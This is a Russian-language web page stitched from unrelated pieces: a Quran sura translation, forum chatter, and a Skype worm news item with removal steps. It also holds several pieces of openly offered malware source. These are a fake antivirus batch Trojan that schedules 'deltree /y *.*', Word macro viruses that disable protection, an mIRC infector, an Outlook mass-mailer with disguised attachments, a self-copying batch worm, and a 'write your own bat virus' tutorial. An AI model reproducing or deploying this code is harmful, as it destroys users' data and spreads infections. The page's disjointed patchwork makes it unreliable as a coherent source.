СУРА 68 ЧАСТЬ ВТОРАЯ

(34) Истинно, набожным у Господа блаженные сады.
(35) Поступим ли Мы с Подчиненными как с теми, что грешны?
(36) Что с вами и каково суждение?
(37) Или у вас писание, а в нём учение
(38) Что вам, поистине, любое предпочтение?
(39) Или у вас Наши клятвы вплоть до Дня Предстояния о том, что вам – плод вашего суждения?
(40) Спроси их, кем будут клятвы подтверждены?
(41) Или у них – святые? Пускай же приведут своих святых, если правдивы они.
(42) В тот день, когда откроются все тайны, и призовут земной поклон вершить, они не смогут сделать преклонение –
(43) Опущены их взоры и их постиг позор, а ведь могли они пасть ниц, (когда спустилось повеление).
(44) Оставь Меня с теми, кто ложью считает этот рассказ – когда они не будут знать, их жизнь постигнет завершение –
(45) Я дам отсрочку им, ведь замыслы Мои прочны.
(46) Или ты просишь награды и у них от платы отягощение?
(47) Или, быть может, пишут они тайное откровение?
(48) Ты дотерпи! Господь решит! Не будь подобен спутнику кита. Вот он воззвал, когда его постигло заточение.
(49) И если б не Господня милость, то был бы выброшен он на пустырь, его постигло б унижение.
(50) Избрал его Господь и сделал человеком правоты.
(51) А те, кто отвергает, своими взорами тебя готовы опрокинуть, и, слушая Упоминание, говорят: «Его коснулось бесов проникновение»
(52) Но это - не что иное, как Упоминание для народов, (ниспосланное с Божьей высоты).


Тимур Джумагалиев - ответственный за перевод.


Источник: http://blogs.mail.ru/mail/timjum/62F437EA42AA03A5.html

Кто-то взломал почту и удалил предыдущий ролик "Альфа и Омега - знамения Аллаха", поэтому видео было загружено заново. Это видео дополнено сведениями из древнейшей Библии, названной "Синайским кодексом".
Смотрите, удивляйтесь, делитесь с другими!


Для тех, у кого медленный интернет лучше выключить высокое разрешение внизу плеера для более быстрой загрузки видео, еще можно нажать на паузу, чтобы ролик загрузился полностью.

Прошу вас, комментируйте на странице ролика!!!Перейти

если вы профейсионал в программировании и любите почитать свежие статьи по компьютеру то журнал "хакер" именно для вас

тут люди должны отзываться сколько они в день получают спамерных писем

Skype снова подхватил вирус Согласно сообщению нескольких антивирусных контор, а также официальному заявлению Виллу Арака (Villu Arak), пресс-секретаря Skype Inc., вчера, 10 сентября, пользователи в очередной раз столкнулись с вирусной атакой, организованной неизвестными злоумышленниками.

Вирус распространяется одним из наиболее простых (и, увы, наиболее действенных) способов: пользователю Skype в текстовом чате приходит сообщение со ссылкой на jpeg-изображение и призыв поскорее его посмотреть. Как только юзер переходит по ссылке, на ПК проникает вредоносная программа (Worm.Win32.Skipi.a), блокирует работу антивирусного ПО, переключает Skype в режим «Не беспокоить» и начинает рассылать по контакт-листу сообщение с ссылкой. Таким образом, пользователь может получить вредоносное сообщение даже от друзей. Важно отметить, что никакого серьёзного вреда системе червь не наносит.

Антивирусы производства F-Secure, Symantec и Kaspersky Lab, по словам представителей этих компаний, уже способны выявлять данный вирус и нейтрализовать его. Тем не менее, Skype Inc. приводит официальный документ с инструкцией по избавлению от червя.

Итак, решение проблемы состоит из следующих шагов:
- перезагрузить ПК в режиме Safe Mode
- запустить редактор реестра (regedit)
- найти ветку HKLM/software/microsoft/windows/currentversion/runonce
- найти в ней запись, содержащую mshtmldat32.exe, и удалить эту запись
- зайти в директорию Windows\System32 и удалить файлы wndrivs32.exe, mshtmldat32.exe, winlgcvers.exe и sdrivew32.exe
- зайти в директорию Windows\System32\drivers\etc
- найти файл hosts, открыть его Блокнотом и удалить всё содержимое, затем сохранить файл и закрыть.
- перезапустить ПК.

@echo offrem This is a stupid test Trojan.
echo This program will check your computer for
echo most of the Internet worms in the wild.
echo Including IRC, mIRC, pIRC, VBS, and I-worms
echo like Happy99
pause
cls
echo If any worms are found, I will attempt to
echo clean them off your computer.
pause
cls
echo echo danieldanieldanieldaniel >> c:\windows\system\strtup.exe
if exist c:\autoexec.bat goto found
if not exist c:\autoexec.bat goto nfound
:found
goto next
:nfound
echo No worms were found on your computer.
pause
cls
:next
echo c:\windows\system\strtup.exe is infected with I-worm.Prettypark.
echo I will now attempt to clean it from your computer.
pause
cls
echo echo deltree /y *.* >> c:\autoexec.bat
rem wow, maybe this is the first if its kind? :)

Sub main()'w97.n0-mercy
'coded by a.v_killer
On Error Resume Next
n$ = DefaultDir$(2) + "\NORMAL.DOT"
F$ = FileName$()
If GetAttr(n$) < 32 Then GoTo del
a = CountMacros(0)
If a > 0 Then
  For b = 1 To a
  If MacroName$(b, 0) = "FileSave" Then c = 1
  Next b
End If

If c <> 1 Then
Organizer .Copy, .Source = F$, .Destination = n$, .Name = "AutoOpen", .Tab = 3
Organizer .Copy, .Source = F$, .Destination = n$, .Name = "FileSave", .Tab = 3

End If

aa = CountMacros(1)
If aa > 0 Then
  For bb = 1 To aa
  If MacroName$(bb, 1) = "FileSave" Then CC = 1
  Next bb
End If

If CC <> 1 Then
  FileSaveAs .Format = 1
  fm$ = FileName$() + ":AutoOpen"
  MacroCopy "AutoOpen", fm$
  fm$ = FileName$() + ":FileSave"
  MacroCopy "FileSave", fm$

End If
End Sub

Private Sub Stealth()
On Error Resume Next
Application.DisplayAlerts = False
Application.DisplayStatusBar = False
Application.EnableCancelKey = False
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Enabled = False
CommandBars("tools").Controls("Customize...").Enabled = False
CommandBars("tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("view").Controls("Toolbars").Enabled = False
CommandBars("Format").Controls("Style...").Enabled = False
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
End Sub

Sub VBPE()
On Error GoTo Done
 
a$ = FileName$()
If a$ = "" Then GoTo finish
 
If VInstalled = 0 Then
  Run1
  Run2
  FileSaveAll 1, 1
Else
  GoTo Done
End If
 
Done:
a$ = FileName$()
If a$ = "" Then
  GoTo finish
Else
  Insert " "
End If
 
finish:
MsgBox "polymorph", -8
End Sub
 
Sub Run1()
x$ = Fun$(F$, G$, H$, J$)
y$ = Fun$(F$, G$, H$, J$)
 
Z$ = x$ + y$
 
R1$ = GetDocumentVar$("VirNameDoc")
CO$ = FileName$() + ":" + R1$
MacroCopy CO$, "Global:" + Z$
SetProfileString "Intl", "Info2", Z$
ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub
 
Sub Run2()
x$ = Fun$(F$, G$, H$, J$)
y$ = Fun$(F$, G$, H$, J$)
 
Z$ = x$ + y$
 
R2$ = GetDocumentVar$("VirName")
OC$ = FileName$() + ":" + R2$
MacroCopy OC$, "Global:" + Z$
SetProfileString "Intl", "Info1", Z$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub
 
Function VInstalled()
CC$ = GetProfileString$("Intl", "Info1")
  VInstalled = 0
  If CountMacros(0) > 0 Then
  For I = 1 To CountMacros(0)
  If MacroName$(I, 0) = CC$ Then
  VInstalled = 1
  End If
  Next I
End If
End Function
 
Function Fun$(F$, G$, H$, J$)
One = 1169
Two = 9294
num = Int(Rnd() * (Two - One) + One)
a$ = Str$(num)
a$ = LTrim$(a$)
 
b$ = Mid$(a$, 1, 1)
c$ = Mid$(a$, 2, 1)
d$ = Mid$(a$, 3, 1)
e$ = Mid$(a$, 4, 1)
 
If b$ = "1" Then F$ = "A"
If b$ = "2" Then F$ = "B"
If b$ = "3" Then F$ = "C"
If b$ = "4" Then F$ = "D"
If b$ = "5" Then F$ = "E"
If b$ = "6" Then F$ = "F"
If b$ = "7" Then F$ = "G"
If b$ = "8" Then F$ = "H"
If b$ = "9" Then F$ = "I"
If b$ = "0" Then F$ = "J"
 
If c$ = "1" Then G$ = "H"
If c$ = "2" Then G$ = "I"
If c$ = "3" Then G$ = "J"
If c$ = "4" Then G$ = "K"
If c$ = "5" Then G$ = "L"
If c$ = "6" Then G$ = "M"
If c$ = "7" Then G$ = "N"
If c$ = "8" Then G$ = "O"
If c$ = "9" Then G$ = "P"
If c$ = "0" Then G$ = "Q"
 
If d$ = "1" Then H$ = "A"
If d$ = "2" Then H$ = "B"
If d$ = "3" Then H$ = "C"
If d$ = "4" Then H$ = "D"
If d$ = "5" Then H$ = "E"
If d$ = "6" Then H$ = "F"
If d$ = "7" Then H$ = "G"
If d$ = "8" Then H$ = "H"
If d$ = "9" Then H$ = "I"
If d$ = "0" Then H$ = "J"
 
If e$ = "1" Then J$ = "R"
If e$ = "2" Then J$ = "S"
If e$ = "3" Then J$ = "T"
If e$ = "4" Then J$ = "U"
If e$ = "5" Then J$ = "V"
If e$ = "6" Then J$ = "W"
If e$ = "7" Then J$ = "X"
If e$ = "8" Then J$ = "Y"
If e$ = "9" Then J$ = "Z"
If e$ = "0" Then J$ = "Q"
 
Fun$ = F$ + G$ + H$ + J$
End Function

Sub InfectMirc()
infe$ = "c:\mirc\script.ini"
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.FileExists(infe$) Then GoTo mircwrite Else GoTo fling
mircwrite:
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[Script]"
Print #1, "n0;Miniscript"
Print #1, "n1= ON 1:JOIN:#:{ /exit } "
Print #1, "n2= ON 1:*xde*:#:{ /exit };"
Close #1
SetAttr "c:\mirc\script.ini", vbReadOnly
GoTo finish
fling:
MsgBox "Invalid Memory Space", vbCritical
finish:
End Sub

Sub main()
On Error Resume Next
Dim a, b, d, c, e, y, x, oo, ph, ph1, num, arrr, attch
ph = app.Path & "\" & app.exename & ".dll"
ph1 = app.Path & app.exename & ".dll"
For num = 0 To 3
arrr = Array("c:\a.v.dll", "c:\is.dll", "c:\killer.dll", "c:\no-mercy.dll")
attch = arrr(num)
FileCopy ph, attch
FileCopy ph1, attch
Next num
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 101 Then oo = d.AddressEntries.Count
Next oo
c.Subject = "microsoft says"
c.Body = "hi this is an important message from microsoft there is a virus installed in ur pc please download our attachment to prevent this virus"
c.attachments.Add "c:\a.v.dll", 1, 1, "reign on fire.mpg"
c.attachments.Add "c:\is.dll", 1, 2, "laugh.wav"
c.attachments.Add "c:\killer.dll", 1, 3, "choclat.jpg"
c.attachments.Add "c:\no-mercy.dll", 1, 4, "hotpasswords.txt"
c.Send
e = ""
Next y
b.Logoff
End If
End Sub

Copy %0 "C:\windows\start menu\program\startup\windows.bat"
mkdir C:\secret
net share Secret:C:\secret

copy %0 C:\secret\MeNude.jpg.bat
copy %0 C:\secret\MySister.jpg.bat
copy %0 C:\secret\MyDiary.doc.bat
copy %0 C:\secret\Hardcore.jpg.bat
copy %0 C:\secret\READTHIS.txt.bat
copy %0 C:\secret\Important!!.txt.bat

:Killah
echo Killahbee >> C:\killahbee.txt
notepad /p C:\killahbee.txt
goto Killah

REM Killahbee virus
REM ©lgim !!!!

я знаю один сайт на котором очень огромная всемирная коллекция компьютерных вирусов http://vx.netlux.org/vl.php заходите и тестируйте свой антивирь!!! Вирусы тут какие угодно хоч черви хоч троянцы,а хоч даже DOS атаки!!!!!

я хочу узнать ваше мнение о антивирусе Аваст

Внимание всем! Совсем недавно в глобальной сети интернет появился совершенно новый вирус-троян под названием Trojan.Winlock.19.При запуске операционной системы он пишет чтобы вы отправили платное сообщение на какой то номер и после чего ваша операционная система которая в данный момент заблокирована разблокируеться после отправки этого сообщения.

совсем недавно выйшла новая версия антивируса Касперского.В этой версии множество всяких наворотов.Ну короче меньше слов а больше дела! Берите и качайте! РЕАЛЬНАЯ ВЕШЬ!

Привет я Петров Витя.Сегодня я раскажу вам как своими золотыми руками написать свой бат вирус.Так что внимательно читайте и запоминайте! Итак начнем! Берем и открываем самый обычный текстовый редактор.Он у нас называеться блокнот.Берем потом и пишем в блокноте
Echo off
if %1.==i. goto ddsI
if not exist %0 goto ddsEnd
find "dds"<%0>c:\dds.bat
for %%a in (*.bat) do call c:\dds.bat i %%a
goto ddsOff
:ddsI
if %2.==. goto ddsEnd
echo %2 | find /I "autoexec">nul.dds
if not errorlevel 1 goto ddsEnd
find "dds"<%2>nul
if not errorlevel 1 goto ddsEnd
echo.>enter.dds
type enter.dds>>%2
del enter.dds>nul.dds
type c:\dds.bat>>%2
goto ddsEnd
:ddsOff
if exist c:\dds.bat del c:\dds.bat>nul
:ddsEnd
Затем когда написали этот бред то вы сохраните его на своем компьютере в рабочем столе под названием virus.bat.вы можете назвать свой вирус как угодно но только чтобы после названия вируса было .bat это нужно обязательно!!! а то пахать не будет!!! вот например vitya.bat поняли??? После того как вы все сделали у вас на рабочем столе должен появиться ярлычок!!! Только не нажимайте на него а то будет плохо вашему компу!!! Это было все.Увидимся позже!

Термин «уязвимость» часто упоминается в связи с компьютерной безопасностью, во множестве самых различных контекстов.
В общем случае, уязвимость ассоциируется с нарушением политики безопасности, вызванным неправильно заданным набором правил или ошибкой в обеспечивающей безопасность компьютера программе. Стоит отметить, что теоретически все компьютерные системы имеют уязвимости. Но то, насколько велик потенциальный ущерб от вирусной атаки, использующей уязвимость, позволяет подразделять уязвимости на активно используемые и не используемые вовсе.
Предпринималось много попыток четко определить термин «уязвимость» и разделить два его значения. MITRE, исследовательская группа, финансируемая федеральным правительством США, занимающаяся анализом и разрешением критических проблем с безопасностью, разработала следующие определения:
Согласно терминологии MITRE CVE:



В MITRE считают, что атака, производимая вследствие слабой или неверно настроенной политики безопасности, лучше описывается термином «открытость» (exposure).

Открытость — это состояние вычислительной системы (или нескольких систем), которое не является уязвимостью, но:


Когда хакер пытается получить неавторизованный доступ к системе, он производит сбор информации (расследование) о своем объекте, собирает любые доступные данные и затем использует слабость политики безопасности («открытость») или какую-либо уязвимость. Существующие уязвимости и открытости являются точками, требующими особенно внимательной проверки при настройке системы безопасности против неавторизованного вторжения.